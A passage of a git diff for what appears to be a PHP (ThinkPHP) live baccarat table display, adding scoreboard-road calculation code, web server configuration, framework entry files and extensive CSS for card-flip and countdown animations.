} + $roach[$roachYKey][$roachXKey] = $pushData; + $roachLast = $pushData; + } + } + } + //重新计算坐标 + $roachLocation = array(); + $occupyRoach = array(); + foreach($roach AS $key => $value){ + $swerve = false; + $swerveY = $key; + foreach($value AS $k => $v){ + $show_y = $key; + $show_x = $k; + if($show_x > 5 && $swerve === false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = 5; + array_push($occupyRoach,$show_y.'-'.$show_x); + }elseif(in_array($show_y.'-'.$show_x,$occupyRoach)){ + if($swerve === false){ + $swerve = $show_x - 1; + } + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyRoach,$show_y.'-'.$show_x); + }elseif($swerve !== false){ + $swerveY = $swerveY + 1; + $show_y = $swerveY; + $show_x = $swerve; + array_push($occupyRoach,$show_y.'-'.$show_x); + } + $pushArray = array('show_x' => $show_y+1, 'show_y' => $show_x+1, 'result' => $v['result']); + array_push($roachLocation,$pushArray); + } + } + $data = array(); + $data['showRoad'] = $showRoadLocation; + $data['bigRoad'] = $bigRoadLocation; + $data['bigEyeRoad'] = $bigEyeRoadLocation; + $data['pathway'] = $pathwayLocation; + $data['roach'] = $roachLocation; + $data['sanxingRoad'] = $sanxingRoadLocation; + return ['status'=>true,'msg'=>'数据存在','waybill'=>$data]; + } +} \ No newline at end of file diff --git a/img.png b/img.png new file mode 100644 index 0000000..ee2e5ec Binary files /dev/null and b/img.png differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..86aeca2 --- /dev/null +++ b/index.html @@ -0,0 +1,39 @@ + + + + + 恭喜,站点创建成功! + + + +
+

恭喜, 站点创建成功!

+

这是默认index.html,本页面由系统自动生成

+
    +
  • 本页面在FTP根目录下的index.html
  • +
  • 您可以修改、删除或覆盖本页面
  • +
  • FTP相关信息,请到“面板系统后台 > FTP” 查看
  • +
+
+ + \ No newline at end of file diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 0000000..cbc7868 --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,8 @@ + + Options +FollowSymlinks -Multiviews + RewriteEngine On + + RewriteCond %{REQUEST_FILENAME} !-d + RewriteCond %{REQUEST_FILENAME} !-f + RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L] + diff --git a/public/.user.ini b/public/.user.ini new file mode 100644 index 0000000..862df39 --- /dev/null +++ b/public/.user.ini @@ -0,0 +1 @@ +open_basedir=/www/wwwroot/tnt-game-socket/:/tmp/ \ No newline at end of file diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 0000000..672045b Binary files /dev/null and b/public/favicon.ico differ diff --git a/public/index.php b/public/index.php new file mode 100644 index 0000000..e3c0fe9 --- /dev/null +++ b/public/index.php @@ -0,0 +1,24 @@ + +// +---------------------------------------------------------------------- + +// [ 应用入口文件 ] +namespace think; + +require __DIR__ . '/../vendor/autoload.php'; + +// 执行HTTP应用并响应 +$http = (new App())->http; + +$response = $http->run(); + +$response->send(); + +$http->end($response); diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 0000000..eb05362 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,2 @@ +User-agent: * +Disallow: diff --git a/public/router.php b/public/router.php new file mode 100644 index 0000000..9b39a62 --- /dev/null +++ b/public/router.php @@ -0,0 +1,19 @@ + +// +---------------------------------------------------------------------- +// $Id$ + +if (is_file($_SERVER["DOCUMENT_ROOT"] . $_SERVER["SCRIPT_NAME"])) { + return false; +} else { + $_SERVER["SCRIPT_FILENAME"] = __DIR__ . '/index.php'; + + require __DIR__ . "/index.php"; +} diff --git a/public/static/handle/css/common.css b/public/static/handle/css/common.css new file mode 100644 index 0000000..8508ba8 --- /dev/null +++ b/public/static/handle/css/common.css @@ -0,0 +1,1312 @@ +body{ + background: #413f40; + padding: 0px; + padding-bottom: 0; + overflow: hidden; + position: relative; +} +.iframe-box{position: fixed; top: 0; left: 0; width: 80%; height: 88%; padding:6% 10% 0; background: rgba(0,0,0,0.5); z-index: 999;} +.iframe-box .title{text-align: center; font-size: 14px; position: relative; background:#fff; font-weight: normal; padding: 5px; border-bottom: 1px solid #ccc;} +.iframe-box iframe{width: 100%; min-height: 720px;} +.off-btn{position: absolute; right: -10px; top: -10px; width: 30px; height: 30px; text-align: center; line-height: 30px; border-radius: 100px; background: #fff; -webkit-box-shadow: 0px -2px 6px rgba(0, 0, 0, 0.45); box-shadow: 0px -2px 6px rgba(0, 0, 0, 0.45);} + + +.top-sec{ height: 63vh;} + +.video-sec{ + width: 54vw; + height:63vh; + position: relative; + background:url(../img/video_bg.jpg) #322616; + -webkit-background-size: 100% 100%; + background-size: 100% 100%; +} +.table-info { width: 46vw;height: 63vh; background: url(../img/info-bg.jpg) no-repeat; background-size: 100% 100%; position: relative;} +.video-iframe { + border: none; + width: 100%; + height: 100%; + margin: 0; + padding: 0; + pointer-events: none; + object-fit: fill; +} +#t-logo-img{ + + /*//现场电脑宽度*!*/ + height: 14.4vh; + left: 2vh; + background-size: 100%; + position: absolute} +.table-info .t-logo{ + position: relative; + font-size: 2.0vh; + color: #fff; + padding: 0.8vh 0 0.5vh 0; + margin-bottom: 1.5vh; + + + +} +.table-info .t-logo:after{ + content: ""; /*内容设置为空!!!*/ + display: block; /*显示为块级元素!!!*/ + height: 0; + visibility: hidden; + clear: both; /*清除浮动!!!*/ +} + +.t-logo .t-logo-tit{ + margin-top: 1.3vh; + line-height: 12.5vh; + height: 12.5vh; + width: 69vh; + float: left; + display: inline-block; + padding: 0rem 0 0rem 0; + background:url("../img/l-bg.png") no-repeat; + background-size: 100%; + margin-left: 6vw; + font-size: 5vh; + +} + +.t-logo .t-logo-tit span{ + background-image: -webkit-linear-gradient(bottom,#775d2b,#b4a67d,#fff); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + padding-left: 8vh; +} +.zx.text { + width: 90%; + line-height: normal; + opacity: 0.9; + padding: 0px 2px; + color: #5b4d31; + font-size: 2.0rem; + border-radius: 5px 0 0 5px; + margin-bottom: 10px; + background: linear-gradient(to right, #51462b, #2e2a27); + +} +.zx.text span{ + display: inline-block; + background-image:-webkit-linear-gradient(bottom,#775d2b,#b4a67d,#fff); + -webkit-background-clip:text; + -webkit-text-fill-color:transparent; + +} +.nobegin-tip{ padding: 2rem 0; text-align: center;font-size: 6.5vw; + background-image: -webkit-linear-gradient(bottom,#775d2b,#b4a67d,#fff); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + position: absolute; + top: 35%; + width: 100%; +} +#show-status-span{ position: absolute; right: 5%; + color: #b4a67d; + top: 43%; + font-size: 2.2vh; +} + +.begincard .card-box .win .card.begin{ + background-color: rgba(255, 255, 255, 1); + -webkit-animation-timing-function:ease-in-out; + -webkit-animation-name:breathe; + -webkit-animation-duration:500ms; + -webkit-animation-iteration-count:infinite; + -webkit-animation-direction:alternate; + /*transform: scale(1.5,1.5);*/ + /*position: absolute;*/ + /*z-index: 10;*/ + +} +.begincard .list.win .draw .card.begin{ + background-color: rgba(255, 255, 255, 1); + -webkit-animation-timing-function: ease-in-out; + -webkit-animation-name: breathe; + -webkit-animation-duration: 500ms; + -webkit-animation-iteration-count: infinite; + -webkit-animation-direction: alternate; + +} + + +.spinner { + position: absolute; + top: 50%; + left: 50%; + width: 50px; + height: 50px; + text-align: center; + font-size: 10px; + z-index: 999; + margin-left: -25px; + margin-top: -25px; +} + +.spinner > div { + background-color: #67CF22; + height: 100%; + width: 3px; + display: inline-block; + + -webkit-animation: stretchdelay 1.2s infinite ease-in-out; + animation: stretchdelay 1.2s infinite ease-in-out; +} + +.spinner .rect2 { + -webkit-animation-delay: -1.1s; + animation-delay: -1.1s; +} + +.spinner .rect3 { + -webkit-animation-delay: -1.0s; + animation-delay: -1.0s; +} + +.spinner .rect4 { + -webkit-animation-delay: -0.9s; + animation-delay: -0.9s; +} + +.spinner .rect5 { + -webkit-animation-delay: -0.8s; + animation-delay: -0.8s; +} + +@-webkit-keyframes stretchdelay { + 0%, 40%, 100% { -webkit-transform: scaleY(0.4) } + 20% { -webkit-transform: scaleY(1.0) } +} + +@keyframes stretchdelay { + 0%, 40%, 100% { + transform: scaleY(0.4); + -webkit-transform: scaleY(0.4); + } 20% { + transform: scaleY(1.0); + -webkit-transform: scaleY(1.0); + } +} + +.section{ + min-height: 630px; +} + +.section .head .box{ + height: 100%; +} + +.section .head .box .date{ + float: right; + color: #fff; + margin-top: 10px; + padding: 5px 5px; + background-color: #100e01; + font-size: 1rem; + +} + +.section .head .box .list{ + text-align: center; + padding: 5px 5px; + background-color: #100e01; + margin-top: 5px; + width: 50%; + float: right; +} + +.section .head .box .list .item{ + color: #fff; + font-size: 1rem; + font-weight: 500; + float: left; + padding-right: 10px; + +} + +.section .head .input-box{ + +} + +/*.section .head .input-box:first-child{ +width: 35%; +margin-left: 0; +}*/ + + + +.section .head .input-box.m0{ + margin-right: 0; +} + +.section .head .input-box input{ + +} +.section .head .input-box label{ + +} + +.section .head .box .list .date{ + width: 34%; + text-align: right; + line-height: 4.8vh; +} +.section .head .box .list .date p{ + display: inline-block; + width: 225px; + text-align: left; +} +.section .head .box .list .date span{ + background: #ab7963; + padding: 0 5px; +} + +.section .head .box .list .notice{ + height:4.2vh; + line-height: 4.2vh; + background: #606463; + border-radius: 5px; + color: #fff; + overflow: hidden; + width: 100%; + position: relative; + +} + + +.notice .scroll{ + overflow: hidden; + position: absolute; +} +.notice .scroll ul{ + width: 200000px; +} + +.notice .scroll ul li{ + float: left; + color:#ddd; + font-size: 15px; + padding: 0 20px; + font-weight: 500; +} + + + +.canvas-box{ + border: 2px solid #87756c; + background: #4a3d3a; + border-radius: 5px; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + padding: 5px; + position: relative; +} + +.canvas-box.small{ + height: 27.9vh; + margin-bottom: 0.5vh; + min-height: 150px; + position: relative; +} + + +.canvas-box .active-box{ + position: absolute; + right: 5px; + bottom: 5px; + width: 225px; + background: url(../img/active_bg.jpg) repeat-x; + border-radius: 5px; + -webkit-background-size: auto 100%; + background-size: auto 100%; + color: #fff; + font-weight: 500; + font-size: 16px; + padding: 1.5vh; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; +} +.canvas-box .active-box .item{ + width: 100px; + cursor: pointer; + +} +.canvas-box .active-box .item:first-child{ + margin-bottom: 2px; +} + + +.canvas-box .item:last-child{ + margin-top: 5px; +} +.canvas-box .active-box p{ + position: absolute; + left: 110px; + top: 50%; + margin-top: -22px; +} + +.canvas-box .active-box strong{ + font-weight: 500; + font-size: 16px; +} + +.footer{ + display:flex; + width: 100%; +} + +.footer .canvas-box{ + flex:3; + overflow: hidden; +} + +.canvas-box canvas{ + background: #fff; + width: 100%; + height: 100%; +} + + +.table-data{ + position: absolute; + right: 0%; + top:3%; + opacity: 0.7; +} + +.table-data .hd{ + height: 16vh; + background-color: pink +} + + + + + +.table-data .title{ + width: 100%; + display: table; + text-align: center; + +} +.table-data .title li{ + display: table-cell; + color: #3c180a; + width: 20%; + position: relative; +} +.table-data .title li:after{ + content: ""; + border-left: 1px solid #e8ccbf; + height: 30px; + position: absolute; + right: 0; + top: 50%; + margin-top: -15px; +} +.table-data .title li:last-child:after{ + border: none; +} + +.table-data .title li>*{ + display: block; +} +.table-data .title li strong{ + font-weight: 600; + font-size: 18px; + text-shadow: 0px 1px 0px #fff; +} +.table-data .title li small{ + font-size: 12px; + font-weight: 500; +} + +.table-data .top{ + background: #fff; + width: 95%; + display: table; + text-align: center; + margin: 0 auto; + border-radius: 2px; + margin-top: 0.8vh; + line-height: 3vh; + font-weight: 500; + -webkit-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + -moz-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + + +} +.table-data .top span{ + display: table-cell; + color: #3c180a; + width: 20%; + font-weight: 600; +} + + + +.table-data .limit-box{ + width: 95%; + padding: 0 2.5%; +} + + +.table-data .lan-box{ + padding-top: 1vh; + text-align: center; + line-height: 3vh; +} +.table-data .lan-box .item{ + width: 50%; + font-weight: 600; +} +.table-data .lan-box .item span { + font-weight: 600; +} +.limit-box .list{ + padding: 0.6vh 0; + padding-left: 50px; + position: relative; + font-size: 14px; + color: #3c180a; + line-height: 3vh; + font-weight: 500; +} + +.limit-box .list .lab{ + position: absolute; + left: -20px; + top: 0; + text-align: center; + margin:0.6vh 0; + font-weight: 600; + font-size: 16px; + width: 70px; + color: #FFFFFF; + background-color: #2a1606; +} + + +.limit-box .list .item{ + background: #fff; + width: 48%; + border-radius: 2px; + padding: 0 10px; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + -webkit-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + -moz-box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + box-shadow: 0px 1px 1px rgba(0, 0, 0, 0.3) inset; + font-weight: 800; +} +.limit-box .list .item small{ + font-size: 12px; + font-weight: normal; + font-weight: 800; +} +.limit-box .list .item span{ + font-size: 13px; +} + + + +.control-box{ + position: fixed; + right: -410px; + top: 19vh; + background: rgba(21, 34, 34, 0.71); + width: 410px; + height: 46.5vh; + text-align: center; + z-index: 1000; +} +.control-box .slide-btn{ + opacity: 0; + background: rgba(21, 34, 34, 0.71); + position: absolute; + height: 65px; + border-radius: 100px 0 0 100px; + width: 30px; + left: -35px; + top: 50%; + margin-top: -32.5px; + cursor: pointer; + color: #ddd; + line-height: 65px; + font-size: 20px; + padding-left: 5px; +} + + +.control-box .btn-box1{ + padding: 7vh 0; +} +.control-box .btn-box1 span{ + cursor: pointer; + width: 110px; + height: 35px; + display: inline-block; + margin:0 10px ; + line-height: 35px; + color: #fff; + font-weight: 500; + font-size: 16px; + border-radius: 5px; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); +} + + +.control-box .btn-box2 span{ + cursor: pointer; + display: inline-block; + width: 60px; + height: 30px; + line-height: 30px; + color: #fff; + background: #c0bbbb; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 16px; + -webkit-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box2 span.on{ + background: #0b6140; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset, 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset, 0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box3{ + padding: 5vh 0; +} +.control-box .btn-box3 span{ + cursor: pointer; + display: inline-block; + width: 160px; + height: 35px; + line-height: 35px; + color: #fff; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 16px; + -webkit-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 0px 3px rgba(255, 255, 255, 0.5) inset,0px 6px 5px rgba(0,0,0,0.2); +} + +.control-box .btn-box4 span{ + display: inline-block; + width: 60px; + height: 30px; + line-height: 30px; + color: #fff; + background: #a07667; + font-weight: 500; + margin: 0 4px; + border-radius: 5px; + font-size: 12px; + -webkit-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + -moz-box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + box-shadow: 0px 6px 5px rgba(0,0,0,0.2); + cursor: pointer; +} +.control-box .btn-box1 span:active, +.control-box .btn-box3 span:active, +.control-box .btn-box4 span:active{ + opacity: 0.7; +} +.control-box .green_bg{ + background: #0b6140; +} +.control-box .red_bg{ + background: #7a1e1e; +} + + + +/*.play-grab-sec .play-grab .grab-count {*/ +/*background: url(../../common/image/grab.png) no-repeat;*/ +/*background-size: 100% auto;*/ +/*width: 3.68rem;*/ +/*height: 3.54rem;*/ +/*max-width: 3.68rem;*/ +/*max-height: 3.54rem;*/ +/*}*/ +/*.play-grab-sec .play-grab .count-active{animation: myMove1 6s 0s linear infinite;}*/ + +/*.round-txt-item { position: absolute;width: 100%; top:0; }*/ + +/*@keyframes myMove1 {*/ +/*from {transform: rotate(0deg);}*/ +/*50% {transform: rotate(180deg);}*/ +/*100% {transform: rotate(360deg);}*/ +/*50% {transform: rotate(180deg);}*/ +/*to {transform: rotate(360deg);}*/ +/*}*/ + + +/*.countdown{*/ +/*display: none;*/ +/*position: absolute;*/ +/**/ +/*width: 210px;*/ +/*height: 210px;*/ +/*!*background: rgba(21, 34, 34, 0.71);*!*/ +/*bottom: 5px;*/ +/*right: 5px;*/ + +/*}*/ + +.countdown{ z-index: 999; + + position:absolute; + display: none; + top: 28%; + left: 37%; +} +.countdown .grab-count{ + background: url(../img/count.png) no-repeat; + background-size: 100% 100%; + width: 27vw; + height: 27vw; +} +.round-txt-item { position: absolute;width: 100%; top:0; } +.top-sec .count-active{animation: myMove1 6s 0s linear infinite;} +@keyframes myMove1 { + from {transform: rotate(0deg);} + 50% {transform: rotate(180deg);} + 100% {transform: rotate(360deg);} + 50% {transform: rotate(180deg);} + to {transform: rotate(360deg);} +} +.countdown .roll{ + position: absolute; + width: 180px; + height: 180px; + top:50%; + left: 50%; + margin-left: -90px; + margin-top: -90px; + + -webkit-animation: rotate 1s linear 1s 5 alternate; + animation: rotate 1s linear infinite; +} + + + + +.countdown .num{ + font-size: 13vw; + position: absolute; + font-weight: 500; + z-index: 999; + text-align: center; + text-shadow: 0px 1px 0px #555; + line-height: 27vw; + color: #eee; + border-radius: 50%; + background-color: rgba(0,0,0,0.5); +} + + +.countdown .inner, .inner2 { + position: absolute; + width: 170px; + height: 170px; + border-radius: 170px; + overflow: hidden; + left: 50%; + top: 50%; + margin-top: -85px; + margin-left: -85px; +} +.countdown .inner { + opacity: 1; + background-color: #d4b0a3; + animation: second-half-hide 2s steps(1, end) infinite; +} +.countdown .inner2 { + opacity: 0; + background-color: #a9735f; + animation: second-half-show 2s steps(1, end) infinite; +} +.countdown .spiner, .filler, .masker { + position: absolute; + width: 50%; + height: 100%; +} +.countdown .spiner { + border-radius: 40px 0 0 40px; + background-color: #a9735f; + transform-origin: right center; + animation: spin 1s infinite linear; + left: 0; + top: 0; +} +.countdown .filler { + border-radius: 0 40px 40px 0; + background-color: #a9735f; + animation: second-half-hide 1s steps(1, end) infinite; + left: 50%; + top: 0; + opacity: 1; +} +.countdown .masker { + border-radius: 40px 0 0 40px; + background-color: #d4b0a3; + animation: second-half-show 1s steps(1, end) infinite; + left: 0; + top: 0; + opacity: 0; +} +.countdown .inner2 .spiner, .inner2 .filler { + background-color: #d4b0a3; +} +.countdown .inner2 .masker { + background-color: #a9735f; +} + + +/*结果弹窗*/ +.result-box{ + position: fixed; + z-index: 1000; + top: 40%; + left: 40%; + width: 320px; + + /* -webkit-animation: bounceIn .5s 0s ease both; + -moz-animation: bounceIn .5s 0s ease both;*/ +} + +.result-box.blink{ + -webkit-animation: bounceIn 1s 0s ease both infinite; + -moz-animation: bounceIn 1s 0s ease both infinite; +} + +.canvas-main{ + position: relative; +} + +.canvas-box .active-box p{ + max-width: 300px; + padding-left: 10px; + padding-right: 10px; +} + + + +/*自动翻牌*/ +.begincard{ + position: relative; + width: 100%; + + +} + +.begincard .box{ + position: absolute; + /*width: 732px;*/ + width: 100%; + top:0%; + /*background:url(../img/border.png);*/ + background-size: 100% 100%; + /*background-color: rgba(0,0,0,0.5);*/ + opacity: 0; +} + +.begincard .list{ + display: inline-block; + margin:0px 0rem 0 1.5vw; + vertical-align: middle; + width: 45%; + position: relative; +} + +.begincard .list .card{ + width: 8.5vw; + height: 21.5vh; + display: inline-block; + border-radius: 3px; + /*background-color: #fff;*/ + -webkit-box-shadow: 0 1px 1px rgba(0,0,0,.15); + box-shadow: 0 1px 1px rgba(0,0,0,.15); + position: relative; + font-size: 18px; + color: #000; + overflow: hidden; + margin-right: 1vw; +} + +.begincard .list .draw .rotate{ + /*width: 18vw;*/ + /*height: 22vh;*/ + filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); + -webkit-transform: rotate(90deg); + transform: rotate(90deg); + display: none; +} + +.begincard .list .draw .card{ + width: 16vh; + height: 12.6vw; + font-size: 14px; + vertical-align: middle; + margin-right: 0; +} + +.begincard .list .draw { + text-align: center; + width: 16vw; + height: 18vh; + position: absolute; + top: 24.7vh; + left: 0.8vw; +} +.begincard .list .draw .text{ + font-size: 30px; + display: inline-block; + color: #fff; + vertical-align: top; + width:130px; + height:135px; + line-height: 135px; + font-weight: 500; +} + + +.begincard .card .topleft, .begincard .card .bottomright { + font-size: 1.2vw; + position: absolute; + text-align: center; + line-height: 1; + letter-spacing:-3px; + font-family: ubuntu condensed,sans-serif; + white-space: pre; + -webkit-transform: translate(-50%,0); + -moz-transform: translate(-50%,0); + -o-transform: translate(-50%,0); + -ms-transform: translate(-50%,0); + transform: translate(-50%,0); +} + +.begincard .card .topleft { + top:1vh; + left:0.7vw; +} +.begincard .card .bottomright { + bottom: 1vh; + right: 0.6vw; + -webkit-transform: rotate(180deg) translate(-50%,0); + -moz-transform: rotate(180deg) translate(-50%,0); + -o-transform: rotate(180deg) translate(-50%,0); + -ms-transform: rotate(180deg) translate(-50%,0); + transform: rotate(180deg) translate(-50%,0); +} + +.begincard .list .draw .card .topleft { + top: 14px; + left: 9px; +} +.begincard .list .draw .card .bottomright { + bottom: 17px; + right:9px; +} +.begincard .list .draw .card .face{ + background-image: url('../../handle/img/faces1.png'); +} +.begincard .list .card .face{ + background-image: url('../../handle/img/faces.png'); + height: 100%; + background-position: 50% 50%; + -webkit-background-size: 100% 100%; + -moz-background-size: 100% 100%; + background-size: 100% 100%; + background-repeat: no-repeat; +} + + +.begincard .list .card.begin{ + -webkit-backface-visibility: visible!important; + backface-visibility: visible!important; + -webkit-animation-name: flipInY; + animation-name: flipInY; + -webkit-animation-iteration-count: 1; + animation-iteration-count: 1; + -webkit-animation-duration: 2s; + animation-duration: 2s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; + background: #fff; +} +.begincard .list .draw .card { + -webkit-animation-timing-function:ease-in-out; + -webkit-animation-name:breathe1; + -webkit-animation-duration:500ms; + -webkit-animation-iteration-count:infinite; + -webkit-animation-direction:alternate; + border-radius: 1vw;; +} +.begincard .list .draw .card.begin{ + border-radius: 0; + backface-visibility: visible!important; + -webkit-animation-name: flipInY; + animation-name: flipInY; + animation-iteration-count: 1; + animation-duration: 2s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; + background: #fff; +} + +.result_img{ + position: absolute; + z-index: 999; + top: 50%; + left: 50%; + width: 200px; + height: 128px; + margin-left: -100px; + margin-top:-128px; + -webkit-animation: bounceIn .5s 0s ease both; + -moz-animation: bounceIn .5s 0s ease both; + display: none; + +} +/*问路*/ +.canvas-box .active-box .item{ + width:155px; +} +.canvas-box .active-box p{ + left:166px; +} +.canvas-box .active-box .tip{ + display:inline-block; + width:18px; + height:18px; + vertical-align: top; + box-sizing:border-box; + -moz-box-sizing:border-box; + -webkit-box-sizing:border-box; + position: relative; + margin:2px 0; + opacity:0; +} + +.canvas-box .active-box .circle{ + border-radius: 100%; + border: 2px solid #000; +} + + + +.canvas-box .active-box .round{ + background: #000; + border-radius: 100%; +} + +.canvas-box .active-box .bar:after{ + top: -1px; + left: 8px; + content:""; + position: absolute; + width:3px; + height:20px; + background: #000; + -webkit-transform: rotate(45deg); + -moz-transform: rotate(45deg); + filter: progid:DXImageTransform.Microsoft.BasicImage(Rotation=0.45); +} + +.canvas-box .active-box .bar.red:after{ + background:#b20a00; +} + +.canvas-box .active-box .bar.blue:after{ + background:#0543bc; +} + + + +/*自动翻牌*/ +@-webkit-keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0 + } + 0%,40% { + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 40% { + -webkit-transform: perspective(400px) rotateY(-20deg); + transform: perspective(400px) rotateY(-20deg) + } + 60% { + -webkit-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotateY(-5deg); + transform: perspective(400px) rotateY(-5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + +@keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + transform: perspective(400px) rotateY(90deg); + opacity: 0 + } + 0%,40% { + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in + } + 40% { + -webkit-transform: perspective(400px) rotateY(-20deg); + transform: perspective(400px) rotateY(-20deg) + } + 60% { + -webkit-transform: perspective(400px) rotateY(10deg); + transform: perspective(400px) rotateY(10deg); + opacity: 1 + } + 80% { + -webkit-transform: perspective(400px) rotateY(-5deg); + transform: perspective(400px) rotateY(-5deg) + } + to { + -webkit-transform: perspective(400px); + transform: perspective(400px) + } +} + + + + + + + + + + + + + + + +@keyframes spin { + 0% { transform: rotate(360deg); } + 100% { transform: rotate(0deg); } +} +@keyframes second-half-hide { + 0% { opacity: 1; } + 50%, 100% { opacity: 0; } +} +@keyframes second-half-show { + 0% { opacity: 0; } + 50%, 100% { opacity: 1; } +} + +@-webkit-keyframes bounceIn { + 0% { + opacity: .8; + -webkit-transform: scale(0.5); + } + 100% { + opacity: 1; + -webkit-transform: scale(1); + } +} +@-moz-keyframes bounceIn { + 0% { + opacity: .8; + -moz-transform: scale(0.5); + } + 100% { + opacity: 1; + -moz-transform: scale(1); + } +} + +/*win*/ +@keyframes breathe { + 0% { + opacity:.7; + -moz-box-shadow: 0px 1px 10px #030c03; + box-shadow: 0px 1px 10px #030c03; + } + 100% { + opacity:1; + box-shadow:0 1px 20px rgba(59,255,255,1); + -moz-box-shadow:0 1px 20px rgba(59,255,255,1); + } +} +@media screen and (max-width: 1366px){ + .section .head .box .list .item{ + font-size: 1rem; + } + .section .head .box .list .date span{ + padding-right: 0; + padding-left: 0 + } + +} +.update-ludan{z-index: 1; left: 38%; top: 30%; background:#fff; min-width:400px; min-height:142px; position: fixed; box-shadow: 1px 1px 50px rgba(0,0,0,.3); border-radius: 2px; display:none;} +.update-ludan-title{padding: 0 80px 0 20px; height: 42px; line-height: 42px; border-bottom: 1px solid #eee; font-size: 14px; color: #333; overflow: hidden; background-color: #F8F8F8; border-radius: 2px 2px 0 0;} +.update-ludan-content{padding-left:20px; padding-top:40px; padding-bottom:20px;} +.update-ludan-content select{border:1px solid #eee; padding:5px; min-width:260px;} +.update-ludan-win6{padding-left:20px; padding-top:0px; padding-bottom:20px;} +.update-ludan-footer{text-align:center; padding-bottom:30px;} +.update-ludan-footer a{display:inline-block; padding:7px 20px; cursor:pointer; border-radius: 2px;} +.update-ludan-footer #confirm_update_ludan{background:#33A3F6; color:#fff; border-color: #1E9FFF; background-color: #1E9FFF; margin-right:20px;} +.update-ludan-footer #cancel_update_ludan{border: 1px solid #dedede;} + + + + +/*胜派新样式*/ + + + +.section .head .logo{ + width: 8.5vw; + background-size: 7.5vw; +} + +.canvas-box.big{ + height: 37vh; + +} + + + + +.table-data .top span{ + font-size: 18px; +} +.table-data .lan-box{ + padding-top: 1vh; + padding-bottom: 0.8vh; +} +.table-data .lan-box .item{ + width:33.33%; + font-size: 18px; +} + +.table-data .title li strong{ + font-size: 26px; + font-weight: 700; + text-shadow: 0px 0px 2px #fff; + margin-top: 0.8vh; +} + +.limit-box .list .item span{ + text-align: left; + width: 100%; + font-size: 16px; + font-weight: 500; +} +.limit-box .list{ + padding-left: 80px; +} +.limit-box .list .lab{ + font-size: 20px; + width: 100px; + left: -3%; +} + + + +.canvas-box .active-box{ + font-size: 20px; +} + +.canvas-box .active-box .item{ + width: 200px; +} + +.canvas-box .active-box strong{ + font-size: 20px; +} +.canvas-box .active-box .tip{ + width: 20px; + height: 20px; +} +.canvas-box .active-box p{ + left: 206px; + margin-top: -27px; +} +.canvas-box .active-box .item:first-child{ + margin-bottom: 10px; + margin-top: 5px; +} + + + +.section .head .box .list .date span{ + margin-right: 10px; +} + +#language{ + width:120px; + height:35px; + border-radius:5px; + color:#fff; + padding: 0 15px; +} + +.section .head .box .date span{ + padding-right: 5px; + + +} + +.table-data .top { + margin-top: 0.7vh; +} +.table-data .lan-box .item small { + font-weight: 600; + font-size: 18px; +} +.table-data .lan-box { + padding-bottom: 0; + padding-top: 0.5vh; +} +.limit-box .list .item span { + font-weight: 600; + font-size: 18px; +} +.canvas-box .active-box { + border: 1px solid #fff; + bottom: -1px; + right: -1px; +} +.canvas-box .active-box p { + right: 0; + left: auto; + color: #DCD6D4; +} \ No newline at end of file diff --git a/public/static/handle/css/index_tab.css b/public/static/handle/css/index_tab.css new file mode 100644 index 0000000..83b8d3b --- /dev/null +++ b/public/static/handle/css/index_tab.css @@ -0,0 +1,1136 @@ +body{ + background: #413f40; + padding: 15px; + padding-bottom: 0; + overflow: hidden; + position: relative; +} +.iframe-box{position: fixed; top: 0; left: 